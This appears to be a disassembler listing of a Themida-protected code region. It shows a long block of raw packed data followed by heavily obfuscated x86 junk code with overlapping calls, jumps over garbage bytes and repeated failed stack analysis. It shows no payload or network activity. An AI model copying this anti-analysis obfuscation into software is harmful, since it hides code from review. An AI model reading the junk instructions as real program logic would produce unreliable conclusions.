dd 34D926C6h, 1E89858Bh, 0E9530615h, 5, 5EBA8C62h, 39048F50h
dd 244D9D01h, 14E90615h, 66000000h, 6A0BCCB0h, 0C8805DE2h
dd 3276EB1h, 0B44A7E80h, 81969443h, 2141A4EFh, 3CBA661Dh
dd 0A0C781C0h, 661D2141h, 8B03D681h, 0A164FF81h, 850FFFFFh
dd 1Eh, 0ACA93AB8h, 2DE944h, 77480000h, 3198A22Ch, 0BE0284EDh
dd 0DE65BF33h, 3A02E83Fh, 0F08AF086h, 0FFFF69E9h, 6D69C5FFh
dd 7746807Bh, 271B65EAh, 124FBEE6h, 0EB5CB780h, 3DFE900h
dd 1F9F0000h, 0D859C6AFh, 17968D68h, 0DF61CEA7h, 1999866Fh
dd 0DCCFCCA9h, 24F161E1h, 5D38A80Fh, 1FF666C6h, 0B243B310h
dd 43863D21h, 2A169BB1h, 40BCF569h, 24023AD0h, 73C055C5h
dd 979CA212h, 9B74A212h, 0C0AA1A98h, 2A88A9B5h, 0E7837CBAh
dd 0BF56C62Ah, 0D3A21270h, 506EDE5Ch, 7B6FDF63h, 4CBC43F0h
dd 8AFA7AA9h, 0C67D5FEBh, 1086F283h, 80B1596Ah, 85F57703h
dd 0C0E6CBAAh, 6316A321h, 7EEE4D99h, 55C52B38h, 5CCC2889h
dd 88D1745Ah, 73169ADDh, 2FDD8DA2h, 88F87879h, 0C9F9BDEDh
dd 0D4BDE0F5h, 0A2E90340h, 0BFCF76C8h, 3E108037h, 0B88B516Dh
dd 1CB7B791h, 759F4B5Ch, 0B7B7CF0Eh, 0B8A6B81Ch, 0B7B7C40Dh
dd 0F496A71Ch, 0B23712BDh, 54A3D95Eh, 2A6CDC5Fh, 0EA85B555h
dd 0C3000000h, 999D0D6Eh, 244EC6A4h, 536056C6h, 0F6D87FEFh
dd 1CCE3EBDh, 0F212AB1Ah, 111086h, 7CA5203Eh, 0FF1086F2h
dd 0CD23C2Eh, 34D646A7h, 710474F7h, 5B4EE8EDh, 8E4F175Fh
dd 5CCC2FDCh, 0E430D05Ah, 243A1585h, 9BA02DA1h, 3F1F3016h
dd 6C1E8EF2h, 0DF4FB1C2h, 0F868CAD7h, 70D2C1BEh, 139A1600h
dd 0A70E37ACh, 0BC2C8F38h, 0FD2DD1D9h, 0A80E62E1h, 0BE8F108Eh
dd 97076B78h, 7E0A6AC7h, 0C4A689F9h, 308CA5A9h, 89E92AC0h
dd 0AB749D28h, 2EF71CACh, 790774A6h, 301F3073h, 97C77406h
dd 0B985FCC7h, 0F7C81CACh, 74F73C1Eh, 4D3D1204h, 5B639363h
dd 0B64CD8E8h, 4AAE031Ah, 7E3DCDAh, 0A3908697h, 84C6AF1Fh
dd 0A8A6EB5Ah, 2BDC02B9h, 0D3EBBA8Eh, 0D5B5863Ah, 3066D654h
dd 0F5C9F9CAh, 0B92D574Eh, 80152602h, 36DF4FB3h, 0DB0BABF2h
dd 4003D903h, 1086F219h, 64E0D3E4h, 2FA716F4h, 4E169C1Ah
dd 0CB28397Dh, 0C790BA5Bh, 0CEFFC8A0h, 8235D50Ah, 375F1C55h
dd 813DF09Eh, 6B331CD7h, 0D141C0F1h, 2438A39h, 73C01693h
dd 49CAA010h, 6DDD5EEAh, 9A7B5429h, 8FFF83B0h, 5DCD2EDBh
dd 7BEB4859h, 79BA7C3Bh, 0ADE486F6h, 0F666C502h, 0A2213B1Fh
dd 1693027Fh, 5A43BB95h, 8B8D029h, 2512863Fh, 0F9D6045Fh
dd 3317A211h, 409D9DBDh, 9B000000h, 248B1796h, 0A28D82B4h
dd 4BEF9B74h, 3DB0BABh, 8B85FCD9h, 5957CC28h, 0A99BBE85h
dd 51621086h, 0A9920AB9h, 0C2D3169Bh, 28B9DBFCh, 0DEE45B30h
dd 26C4EB5Bh, 878FBE8h, 16476Dh, 4F630000h, 4A6DDD62h
dd 485F8D4Eh, 6E9B4F0Dh, 879C9A0Ah, 5BE1B424h, 0C154C424h
dd 587D4816h, 1B1086F2h, 0F1420C0Ah, 0C8492191h, 0B8BBFB6Bh
dd 410D5E51h, 86F25382h, 0F697C010h, 0A31371BAh, 9CBD9A73h
dd 336307BDh, 0F051D96Ah, 7C535272h, 99BEE362h, 6C3D1086h
dd 0B8199A89h, 8699C40Dh, 0B996A710h, 0EC6572DCh, 6AAF1671h
dd 1110867Fh, 10923700h, 67564129h, 0BF1h, 0C724C500h
dd 0F1525F57h, 324AF481h, 5C5ACA24h, 4274E447h, 3363D331h
dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h
dd 3C7AEA4Fh, 0E3895378h, 4C381h, 0EB830000h, 241C8704h
dd 2414895Ch, 557168h, 24048900h, 81E18951h, 4C1h, 4E98100h
dd 87000000h, 895C240Ch, 0BD55242Ch, 73D14678h, 0CC0503B8h
dd 8BE83175h, 0C481242Ch, 4, 83B68h, 24248900h, 4240481h
dd 5D000000h, 0E5B85050h, 2936082Eh, 58042444h, 8108458Fh
dd 2EE50845h, 2C8B3608h, 0E3895324h, 4C381h, 0C3810000h
dd 4, 5C241C87h, 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h
dd 3E95C24h, 74FFF837h, 318117F6h, 1960C0B4h, 46B2B873h
dd 0C503061Dh, 0FEEEE0FFh, 4A091BBEh, 8F3B069Dh, 8E840758h
dd 85C01585h, 6910422Ah, 0B1D83DB2h, 0C6070A61h, 0E6082D07h
dd 95C438C1h, 0F607942h, 68Eh, 8F0F00h, 0F000000h, 1481h
dd 0FE900h, 0DD3C0000h, 4CE0845Bh, 7578EB89h, 8B4D4D87h
dd 0F9BE617Ah, 0F66A92Ah, 386h, 0C2BF0F00h, 0FE8D88Bh
dd 2D000000h, 9C7F83B5h, 0D75D639Fh, 5D41F204h, 11E8343Dh
dd 22000000h, 24B2D189h, 0BA7AA1F2h, 0A7035CBCh, 0A67A854Fh
dd 10E9h, 0AB30DD00h, 0F8DE3428h, 6D46C620h, 0D33C4022h
dd 66595B97h, 13BAD881h, 6E8h, 9CA7F00h, 81F093FFh, 57A688DBh
dd 5BB65B69h, 66F5FA8Ah, 6660FA8Bh, 3C6CD681h, 0E961C68Bh
dd 9, 0DED1FD47h, 0F6BB3473h, 0B989B12Ch, 2DA7778Ch, 0DE9DE8Bh
dd 67000000h, 0EFE05D82h, 199376E6h, 0ABC20CFCh, 0FDEBF0Fh
dd 0F98BF3B7h, 8F0FF38Bh, 3, 0B9C18B66h, 482A2352h, 8ACA8B66h
dd 51CA8BE2h, 0F484C381h, 0F5A0291h, 84h, 7A2ABA00h, 81660887h
dd 811E62DEh, 8B5967D2h, 0E0BE6625h, 7E37B969h, 8B6646F2h
dd 5E8FBh, 1BFB0000h, 6675E56Dh, 8B59C68Bh, 0EF8166CEh
dd 8B66A2ACh, 0ABBA66C8h, 11E95Fh, 99090000h, 9C156A14h
dd 6830044Dh, 5E54543Ah, 0BB4D144Ah, 1C8CD07Ah, 0F88A9FB7h
dd 8B6673B3h, 20F1B8DAh, 0BF0F750Eh, 0FC18BC0h, 0B85h
dd 6E900h, 0C9020000h, 778DD969h, 2849F681h, 81667CFAh
dd 8B68A9E1h, 3880FC1h, 80000000h, 4AB9C7C5h, 0B021C469h
dd 48E0F27h, 66000000h, 0E837E3BFh, 0Dh, 10D709D2h, 0B4686A29h
dd 0B05777A9h, 0F55058D7h, 57FA8B59h, 665ED78Bh, 0FE8BC18Bh
dd 29F78166h, 576051C5h, 0C181665Fh, 5E619BF5h, 10E850h
dd 0DFE30000h, 0D7A1299h, 7289E569h, 9DA01365h, 616034BEh
dd 0B9665A5Ah, 0F556F54Ah, 8E0F605Ah, 3, 0E9B2C580h, 0Dh
dd 5B165B57h, 977028C7h, 0C63E0C98h, 820F6144h, 8, 2870Fh
dd 61600000h, 8E9h, 0B77ADC00h, 56D60656h, 0FE817h, 3F940000h
dd 0EF70D08Eh, 458E1A76h, 0C5B652Ah, 80B86693h, 810F5B29h
dd 6, 779BF381h, 8B0F5117h, 0
; ---------------------------------------------------------------------------
jmp loc_5FE41A
; ---------------------------------------------------------------------------
db 1Ch, 0FBh, 67h
dd 99FA312Fh, 182C75A7h, 0B78E5C59h
; ---------------------------------------------------------------------------
mov bl, dl
loc_5FE41A: ; CODE XREF: Themida_:005FE404j
clc
cld
jz loc_5FE438
jmp loc_5FE438
; ---------------------------------------------------------------------------
db 0ECh
dd 0DBBA334Bh, 5079B958h, 0DA49202h, 11C08B63h
; ---------------------------------------------------------------------------
loc_5FE438: ; CODE XREF: Themida_:005FE41Cj
; Themida_:005FE422j
push edi
call sub_5FE447
jmp near ptr 0D3D008EBh
; ---------------------------------------------------------------------------
db 4Bh
db 68h, 0CFh, 4Ah
; =============== S U B R O U T I N E =======================================
sub_5FE447 proc near ; CODE XREF: Themida_:005FE439p
; FUNCTION CHUNK AT 005FE4A9 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 005FE4FF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005FE511 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005FE530 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005FE548 SIZE 0000003E BYTES
call near ptr loc_5FE45A+1
call near ptr 0A927BFA8h
inc edx
popa
add [ecx], ecx
and al, 0C3h
jnz short loc_5FE4A9
push cs
loc_5FE45A: ; CODE XREF: sub_5FE447p
sub eax, 0B05A5B5Ah
sub_5FE447 endp ; sp-analysis failed
db 2Eh
mov eax, 7263CF8Ch
push eax
pop eax
movsx ebx, di
and ebx, 366EF9CFh
mov bl, dh
mov ecx, 6130FE95h
mov ax, bx
movzx eax, bx
pusha
mov edi, eax
add cx, 4A6Dh
popa
jmp loc_5FE49A
; ---------------------------------------------------------------------------
db 95h
dd 243FCA0Dh, 0C5EC7629h, 79B36AC2h
db 7Ah, 22h
; ---------------------------------------------------------------------------
loc_5FE49A: ; CODE XREF: Themida_:005FE486j
jo loc_5FE4A3
sbb ah, 0FDh
loc_5FE4A3: ; CODE XREF: Themida_:loc_5FE49Aj
jb loc_5FE4AE
; START OF FUNCTION CHUNK FOR sub_5FE447
loc_5FE4A9: ; CODE XREF: sub_5FE447+10j
mov esi, 65F8B03Bh
loc_5FE4AE: ; CODE XREF: Themida_:loc_5FE4A3j
call near ptr loc_5FE4C4+2
xchg eax, esi
mov byte ptr [ebx+ebp-3Ah], 6Fh
mov edi, 0F725B1C1h
push eax
nop
cmp edi, [ebp-15h]
lodsb
loc_5FE4C4: ; CODE XREF: sub_5FE447:loc_5FE4AEp
cmp eax, 605ADD8Ah
push esi
mov ax, si
pop edx
popa
movsx edi, bx
mov si, 0D50Ch
jns loc_5FE4E1
pusha
pusha
popa
popa
loc_5FE4E1: ; CODE XREF: sub_5FE447+90j
movsx edx, cx
xor cl, 0F1h
or ecx, 690397D3h
mov dx, 2335h
jmp loc_5FE4FF
; END OF FUNCTION CHUNK FOR sub_5FE447
; ---------------------------------------------------------------------------
dw 0C38Bh
dd 3C2F452h
db 2Dh, 24h, 67h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5FE447
loc_5FE4FF: ; CODE XREF: sub_5FE447+AAj
jmp loc_5FE511
; END OF FUNCTION CHUNK FOR sub_5FE447
; ---------------------------------------------------------------------------
dd 6A223FD8h, 1CEC7F13h, 3144034Bh
db 0E1h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5FE447
loc_5FE511: ; CODE XREF: sub_5FE447:loc_5FE4FFj
clc
jnp loc_5FE523
pusha
sbb ax, 3299h
mov bx, 0D385h
popa
loc_5FE523: ; CODE XREF: sub_5FE447+CBj
jmp loc_5FE530
; END OF FUNCTION CHUNK FOR sub_5FE447
; ---------------------------------------------------------------------------
mov ds:22108AF5h, al
lds edi, [eax-41h]
; START OF FUNCTION CHUNK FOR sub_5FE447
loc_5FE530: ; CODE XREF: sub_5FE447:loc_5FE523j
movzx edx, bx
push edi
jmp loc_5FE548
; END OF FUNCTION CHUNK FOR sub_5FE447
; ---------------------------------------------------------------------------
db 58h, 1Eh, 0CFh
dd 0B7E5F720h, 60BE31ABh, 0DE535477h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5FE447
loc_5FE548: ; CODE XREF: sub_5FE447+EDj
pop ebx
movzx eax, si
mov dx, ax
or di, 8B2Ah
mov bx, 240h
mov cx, ax
sub dh, 66h
pusha
mov esi, 6DAABAC5h
mov bx, 269Ch
popa
call near ptr loc_5FE57F+3
sbb eax, 0EFEC40F2h
jb short near ptr loc_5FE5CD+3
mov ds:0CAA42196h, eax
mov al, ds:0AB4E81AAh
loc_5FE57F: ; CODE XREF: sub_5FE447+122p
mov esi, 830F4A3Ah
add al, [eax]
; END OF FUNCTION CHUNK FOR sub_5FE447
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
push eax
pop edx
pop eax
pusha
pusha
pusha
popa
mov dl, bh
popa
mov edi, 3A31E816h
loc_5FE597: ; CODE XREF: Themida_:005FE615j
popa
jnz loc_5FE59F
cld
loc_5FE59F: ; CODE XREF: Themida_:005FE598j
push edi
sub bl, 0CEh
pop ebx
mov cx, bx
mov ebx, eax
mov eax, 1036F59Ah
mov ecx, 3839E7BCh
pusha
mov ax, 5D46h
push ebx
push eax
pop edi
pop edx
popa
and dx, 802Eh
mov edx, edi
cld
movsx ecx, ax
and di, 0B7A2h
loc_5FE5CD: ; CODE XREF: sub_5FE447+12Cj
jmp loc_5FE5D7
; ---------------------------------------------------------------------------
dw 0CEC4h
db 27h, 0A3h, 82h
; ---------------------------------------------------------------------------
loc_5FE5D7: ; CODE XREF: Themida_:loc_5FE5CDj
and bh, 0D8h
clc
movsx ebx, ax
jmp loc_5FE5F3
; ---------------------------------------------------------------------------
db 6Dh
dd 0A65AF135h, 0B543232Ch, 0F84B4339h
db 7, 0E8h, 7Ah
; ---------------------------------------------------------------------------
loc_5FE5F3: ; CODE XREF: Themida_:005FE5DEj
clc
mov eax, 51FD20FFh
jo $+6
jp $+6
jg loc_5FE610
sub dx, 0C2D5h
loc_5FE610: ; CODE XREF: Themida_:005FE605j
call near ptr sub_5FE626
ja short loc_5FE597
; ---------------------------------------------------------------------------
db 62h
dd 62998FFCh, 0B390989Bh, 0E88FE5BFh
db 32h, 67h
; =============== S U B R O U T I N E =======================================
sub_5FE626 proc far ; CODE XREF: Themida_:loc_5FE610p
mov edi, 2DFFF890h
pop esi
push eax
movzx edx, bx
pop ecx
mov ebx, esi
jmp loc_5FE642
; ---------------------------------------------------------------------------
dd 754D3FE9h, 8596DF3Ah
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 1Bh
; ---------------------------------------------------------------------------
loc_5FE642: ; CODE XREF: sub_5FE626+Dj
movsx eax, cx
jmp loc_5FE655
; ---------------------------------------------------------------------------
dw 2E39h
dd 0D9E99747h, 70BA460Dh
db 0A9h
; ---------------------------------------------------------------------------
loc_5FE655: ; CODE XREF: sub_5FE626+1Fj
sbb esi, 71832970h
pusha
mov ax, 0C6EBh
call near ptr locret_5FE66A+1
dec eax
mov edi, ebx
das
cdq
locret_5FE66A: ; CODE XREF: sub_5FE626+3Ap
retn 0DE80h
sub_5FE626 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0B9h, 5Eh, 61h
dd 0BE8h, 18A2AC00h, 651828FFh, 3D872501h, 68F0Fh, 870F0000h
dd 0
; ---------------------------------------------------------------------------
pop ebx
mov dx, 99AFh
mov dh, bl
call near ptr loc_5FE6A5+4
adc al, 0DFh
shl byte ptr ds:0BB136690h, 0C7h
enter 0FFFFE3CEh, 0B0h
loc_5FE6A5: ; CODE XREF: Themida_:005FE693p
mov ds:666655D5h, eax
mov esi, edi
pop edi
jmp loc_5FE6C4
; ---------------------------------------------------------------------------
dw 4D7Dh
dd 60FE183Bh, 0C4ABBCB7h, 0D2DC6B4Bh, 9705A595h
; ---------------------------------------------------------------------------
loc_5FE6C4: ; CODE XREF: Themida_:005FE6ADj
mov dx, bx
mov bx, 7BD1h
mov dx, 0A5ABh
mov al, ch
mov dh, 95h
jmp loc_5FE6E3
; ---------------------------------------------------------------------------
dd 8D936AA2h, 0A7332619h
; ---------------------------------------------------------------------------
jmp ecx
; ---------------------------------------------------------------------------
db 66h
; ---------------------------------------------------------------------------
loc_5FE6E3: ; CODE XREF: Themida_:005FE6D3j
pusha
and cx, 4B0Dh
popa
mov bx, ax
mov ax, 394Ch
cld
stc
jmp loc_5FE703
; ---------------------------------------------------------------------------
dd 6EBA3CD9h, 0B5B91CDAh
; ---------------------------------------------------------------------------
ja short loc_5FE715
cli
loc_5FE703: ; CODE XREF: Themida_:005FE6F3j
or cx, 0A784h
mov ecx, edi
jmp loc_5FE71D
; ---------------------------------------------------------------------------
dec ebx
mov esi, 86400CDAh
loc_5FE715: ; CODE XREF: Themida_:005FE700j
pop esi
inc esp
mov ds:0D6BA5400h, al
; ---------------------------------------------------------------------------
db 12h
; ---------------------------------------------------------------------------
loc_5FE71D: ; CODE XREF: Themida_:005FE70Aj
xor esi, 6089F3EDh
or ebx, 52691C88h
stc
mov bh, 4Ah
push ecx
cmc
pop ebx
jl near ptr loc_5FE74A+4
call near ptr locret_5FE746+2
jnz short loc_5FE74A
mov eax, 31DA9599h
mov edi, 0B4F3B093h
locret_5FE746: ; CODE XREF: Themida_:005FE735p
retf 0BA50h
; ---------------------------------------------------------------------------
db 1Dh
; ---------------------------------------------------------------------------
loc_5FE74A: ; CODE XREF: Themida_:005FE73Aj
; Themida_:005FE72Fj
sbb eax, 0F55B4D1Bh
mov eax, 1063F9F0h
jle loc_5FE75F
adc si, 8376h
loc_5FE75F: ; CODE XREF: Themida_:005FE754j
cmc
mov ecx, 272B2FC0h
jmp loc_5FE771
; ---------------------------------------------------------------------------
dw 1CFAh
dd 3519BAD9h
db 85h
; ---------------------------------------------------------------------------
loc_5FE771: ; CODE XREF: Themida_:005FE765j
jmp loc_5FE789
; ---------------------------------------------------------------------------
dw 0D33Bh
dd 2460D564h, 43AB19A8h, 9490A37Dh, 234591ADh
; ---------------------------------------------------------------------------
stosb
loc_5FE789: ; CODE XREF: Themida_:loc_5FE771j
mov al, 61h
movzx edx, bx
cld
mov bx, 2A52h
mov bx, 0F6Fh
jnb loc_5FE7AC
jmp loc_5FE7AC
; ---------------------------------------------------------------------------
dw 2CE6h
dd 0AD315863h, 64CB702Ch
; ---------------------------------------------------------------------------
loc_5FE7AC: ; CODE XREF: Themida_:005FE797j
; Themida_:005FE79Dj
jle $+6
mov edi, eax
jmp loc_5FE7C0
; ---------------------------------------------------------------------------
db 0EDh, 87h, 35h
dd 86E91A23h
; ---------------------------------------------------------------------------
loc_5FE7C0: ; CODE XREF: Themida_:005FE7B4j
jnb loc_5FE7CC
and ebx, 56790CB5h
loc_5FE7CC: ; CODE XREF: Themida_:loc_5FE7C0j
cmc
mov cx, bx
movzx esi, dx
call sub_5FE7DE
inc edi
lock push cs
; ---------------------------------------------------------------------------
db 8Dh
db 0E6h, 64h
; =============== S U B R O U T I N E =======================================
sub_5FE7DE proc near ; CODE XREF: Themida_:005FE7D3p
mov ax, 0A110h
pop eax
pusha
clc
jnz loc_5FE7F0
or di, 26AFh
loc_5FE7F0: ; CODE XREF: sub_5FE7DE+7j
popa
mov ebx, edi
mov eax, esi
cld
jle loc_5FE803
push ebx
mov esi, 5F073B22h
pop edx
loc_5FE803: ; CODE XREF: sub_5FE7DE+18j
stc
xor esi, 1DC8E689h
call near ptr loc_5FE81C+1
fnstcw word ptr ds:38B3FB58h
adc al, [ebx-46A49FCEh]
stosb
loc_5FE81C: ; CODE XREF: sub_5FE7DE+2Cp
xor [ecx+5C1BB0E9h], al
sub_5FE7DE endp ; sp-analysis failed
jl short near ptr loc_5FE882+1
jz $+6
mov dx, 3E38h
jmp loc_5FE846
; ---------------------------------------------------------------------------
db 4Dh
dd 0C3D68D7Eh, 0CB777D2Fh, 7DB32EADh, 32AC66D3h
db 43h, 0BAh
; ---------------------------------------------------------------------------
loc_5FE846: ; CODE XREF: Themida_:005FE82Ej
movsx ebx, bx
ja loc_5FE855
sub edi, 78E96FFh
loc_5FE855: ; CODE XREF: Themida_:005FE849j
call sub_5FE867
mov edx, 546DB872h
mov cl, 42h
shl byte ptr [eax+esi*8-3Bh], 1
push cs
dec eax
; =============== S U B R O U T I N E =======================================
sub_5FE867 proc near ; CODE XREF: Themida_:loc_5FE855p
mov esi, 32A97D88h
pop ecx
jmp loc_5FE881
; ---------------------------------------------------------------------------
dw 1970h
dd 0E1783763h, 0A526B3E9h, 0E9EB28E8h
db 0D5h
; ---------------------------------------------------------------------------
loc_5FE881: ; CODE XREF: sub_5FE867+6j
push ebx
loc_5FE882: ; CODE XREF: Themida_:005FE822j
mov dl, 4Bh
pop ebx
push eax
push edx
jmp loc_5FE893
; ---------------------------------------------------------------------------
dd 4756C630h
db 8Fh, 3Ah, 1
; ---------------------------------------------------------------------------
loc_5FE893: ; CODE XREF: sub_5FE867+20j
pop esi
pop eax
jno loc_5FE8A9
jmp loc_5FE8A9
; ---------------------------------------------------------------------------
dd 72B3F565h, 0B59BC557h
db 21h
; ---------------------------------------------------------------------------
loc_5FE8A9: ; CODE XREF: sub_5FE867+2Ej
; sub_5FE867+34j
jz loc_5FE8B4
mov esi, 6736F8BDh
loc_5FE8B4: ; CODE XREF: sub_5FE867:loc_5FE8A9j
clc
sub esi, 63EE07D1h
mov ecx, 2C82246Fh
push esi
mov esi, edi
pop edx
push eax
jmp loc_5FE8D0
; ---------------------------------------------------------------------------
dw 2FEAh
dd 43E0213Ah
; ---------------------------------------------------------------------------
loc_5FE8D0: ; CODE XREF: sub_5FE867+5Ej
pop ecx
mov ecx, edi
mov di, 1BFBh
cmc
cld
sbb bx, 114Fh
jno loc_5FE8ED
jbe loc_5FE8ED
mov dx, ax
loc_5FE8ED: ; CODE XREF: sub_5FE867+77j
; sub_5FE867+7Dj
mov edx, 6F6A8674h
call sub_5FE90B
db 2Eh
lea eax, [esi-2D2C16BFh]
adc ah, ds:3A380BEAh
add al, 0B7h
mov al, 77h
movsb
push eax
inc edi
sub_5FE867 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5FE90B proc near ; CODE XREF: sub_5FE867+8Bp
mov cl, bh
pop esi
cld
cld
mov dl, al
push esi
mov cx, si
pop ecx
push ecx
mov si, cx
pop ebx
jmp loc_5FE92D
; ---------------------------------------------------------------------------
db 0A6h, 97h, 7Eh
dd 0C58B8697h, 66048BB7h
db 0DFh
; ---------------------------------------------------------------------------
loc_5FE92D: ; CODE XREF: sub_5FE90B+11j
mov esi, 45E39DD6h
movsx esi, bx
xor dx, 5E63h
call near ptr loc_5FE943+3
xor edx, [ebx]
xchg eax, esi
xchg eax, ecx
loc_5FE943: ; CODE XREF: sub_5FE90B+2Fp
sbb [edi+ecx*8+11E9h], al
sub_5FE90B endp ; sp-analysis failed
add dh, bl
shr dl, 18h
mov bh, 0E4h
imul eax, edi, 38h
lds esi, ss:333E4396h
pop eax
clc
jle loc_5FE96C
pusha
jo $+6
popa
loc_5FE96C: ; CODE XREF: Themida_:005FE95Ej
sbb bx, 0A69h
jz loc_5FE97A
add ah, 0D2h
loc_5FE97A: ; CODE XREF: Themida_:005FE971j
jmp loc_5FE98F
; ---------------------------------------------------------------------------
db 0A5h
dd 6C4C559Bh, 0D94FCB89h, 0CAC265BBh
db 9Eh, 1Fh, 24h
; ---------------------------------------------------------------------------
loc_5FE98F: ; CODE XREF: Themida_:loc_5FE97Aj
jg loc_5FE99B
and edx, 141F06Bh
loc_5FE99B: ; CODE XREF: Themida_:loc_5FE98Fj
cld
jle loc_5FE9A5
movsx ebx, dx
loc_5FE9A5: ; CODE XREF: Themida_:005FE99Cj
mov ecx, edx
movsx ebx, si
mov cx, si
jg $+6
sbb eax, 4ACB2416h
mov al, 3Dh
or ax, 633Fh
cld
sbb edi, 36A22442h
jmp loc_5FE9DB
; ---------------------------------------------------------------------------
dd 653F91C7h, 5AE2E95Eh, 0AE8DC6E9h
; ---------------------------------------------------------------------------
sbb byte ptr [esi], 31h
loc_5FE9DB: ; CODE XREF: Themida_:005FE9C7j
add esi, 7E2EC648h
mov dh, 46h
mov eax, 531774A3h
jno $+6
movsx edx, cx
mov eax, esi
movsx ebx, ax
jno loc_5FEA15
jmp loc_5FEA15
; ---------------------------------------------------------------------------
db 0D1h, 68h, 0C5h
dd 0BE0A3076h, 3F14CC0Bh, 4D19E20Eh, 6E939D1Fh
db 11h
; ---------------------------------------------------------------------------
loc_5FEA15: ; CODE XREF: Themida_:005FE9F6j
; Themida_:005FE9FCj
jmp loc_5FEA2C
; ---------------------------------------------------------------------------
dw 0DE14h
dd 1AC215D8h, 0C9873132h, 0A821F2A4h, 53CBDD2Ch
; ---------------------------------------------------------------------------
loc_5FEA2C: ; CODE XREF: Themida_:loc_5FEA15j
jp loc_5FEA38
sbb ebx, 59DA17D1h
loc_5FEA38: ; CODE XREF: Themida_:loc_5FEA2Cj
mov di, si
call near ptr loc_5FEA45+1
popf
in eax, 0A5h ; Interrupt Controller #2, 8259A
aad 47h
loc_5FEA45: ; CODE XREF: Themida_:005FEA3Bp
test [esi-7Fh], ah
ficom dword ptr [esi]
or eax, 6B03BB5Ah
mov al, ds:0C6B70F69h
mov dx, 555h
jmp loc_5FEA6B
; ---------------------------------------------------------------------------
db 0D1h, 62h, 0A3h
dd 0D75BC68Fh, 34488642h
db 3Eh, 0BEh, 57h
; ---------------------------------------------------------------------------
loc_5FEA6B: ; CODE XREF: Themida_:005FEA58j
movzx ecx, dx
clc
movzx edi, bx
mov ecx, esi
mov edi, ecx
mov ebx, 118D66F6h
sbb bx, 805Fh
jmp loc_5FEA8D
; ---------------------------------------------------------------------------
db 46h, 50h, 9
dd 0EF4D69E5h
db 6Dh
; ---------------------------------------------------------------------------
loc_5FEA8D: ; CODE XREF: Themida_:005FEA80j
jno loc_5FEA97
mov dx, 0BBFBh
loc_5FEA97: ; CODE XREF: Themida_:loc_5FEA8Dj
jmp loc_5FEAAD
; ---------------------------------------------------------------------------
dd 0CCE1B46h, 0B99BC994h, 2201D86Ah, 8316534Ch
; ---------------------------------------------------------------------------
push ss
loc_5FEAAD: ; CODE XREF: Themida_:loc_5FEA97j
movzx esi, bx
cld
jbe loc_5FEABC
mov eax, 66921D4Ch
loc_5FEABC: ; CODE XREF: Themida_:005FEAB1j
jnb loc_5FEAC6
mov di, 1D6Bh
loc_5FEAC6: ; CODE XREF: Themida_:loc_5FEABCj
add al, 0DFh
mov ah, bl
mov eax, ecx
or ch, 31h
movsx ebx, si
sub edx, 719C2A08h
mov edx, 29055A4Ah
mov ebx, edi
call near ptr sub_5FEAF2
; ---------------------------------------------------------------------------
db 16h, 0BAh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5FEB2A
loc_5FEAE7: ; CODE XREF: sub_5FEB2A+20j
mov al, ds:89B37Ah
jnz short near ptr loc_5FEB0A+3
mov ch, 7Dh
mov ch, 0D3h
; END OF FUNCTION CHUNK FOR sub_5FEB2A
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5FEAF2 proc far ; CODE XREF: Themida_:005FEAE0p
sub cx, 0D1AEh
pop ecx
sbb ah, 0D1h
push ecx
pusha
jmp loc_5FEB0A
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
or [esi+612C8C9Ch], ebx
retf
; ---------------------------------------------------------------------------
loc_5FEB0A: ; CODE XREF: sub_5FEAF2+Bj
; sub_5FEB2A-3Ej
js $+6
popa
pop edi
mov cx, 0FD52h
xor si, 3827h
movzx edx, di
call sub_5FEB2A
push edi
movsd
dec edi
adc esi, edx
cmpsb
hlt
sub_5FEAF2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5FEB2A proc near ; CODE XREF: sub_5FEAF2+2Cp
; FUNCTION CHUNK AT 005FEAE7 SIZE 0000000B BYTES
ja loc_5FEB33
sbb ah, 26h
loc_5FEB33: ; CODE XREF: sub_5FEB2Aj
pop ecx
push ebx
mov edi, 266372DCh
pop eax
jo loc_5FEB44
mov si, dx
loc_5FEB44: ; CODE XREF: sub_5FEB2A+11j
call near ptr loc_5FEB53+2
push ebx
jnb short loc_5FEAE7
stosd
xor eax, 1CD7A5EFh
inc esp
loc_5FEB53: ; CODE XREF: sub_5FEB2A:loc_5FEB44p
mov eax, 0DE8B667Fh
sub_5FEB2A endp ; sp-analysis failed
pop edx
mov edx, 31CDC040h
jmp loc_5FEB71
; ---------------------------------------------------------------------------
cwde
sahf
pop ebp
and al, 0D7h
lds ebx, [ebx]
inc edi
cmp cl, [ecx+57AB6DD9h]
loc_5FEB71: ; CODE XREF: Themida_:005FEB5Ej
stc
pusha
push eax
pop ecx
jmp loc_5FEB82
; ---------------------------------------------------------------------------
dw 4C50h
dd 0FDF30719h
db 0A5h, 0BDh
; ---------------------------------------------------------------------------
loc_5FEB82: ; CODE XREF: Themida_:005FEB75j
popa
jmp loc_5FEB96
; ---------------------------------------------------------------------------
dd 9E226BC1h, 0CD4D867h, 0ABE2E03Ah
db 0F2h, 8Eh
; ---------------------------------------------------------------------------
loc_5FEB96: ; CODE XREF: Themida_:005FEB83j
xor dh, 30h
pusha
adc bl, 4Ch
popa
jnp loc_5FEBB6
jmp loc_5FEBB6
; ---------------------------------------------------------------------------
db 82h, 0F8h, 74h
dd 72F8F081h, 0E542447Eh
; ---------------------------------------------------------------------------
aam 0DBh
loc_5FEBB6: ; CODE XREF: Themida_:005FEB9Ej
; Themida_:005FEBA4j
mov dx, 704Ah
mov bx, 8016h
jmp loc_5FEBD2
; ---------------------------------------------------------------------------
db 0ECh
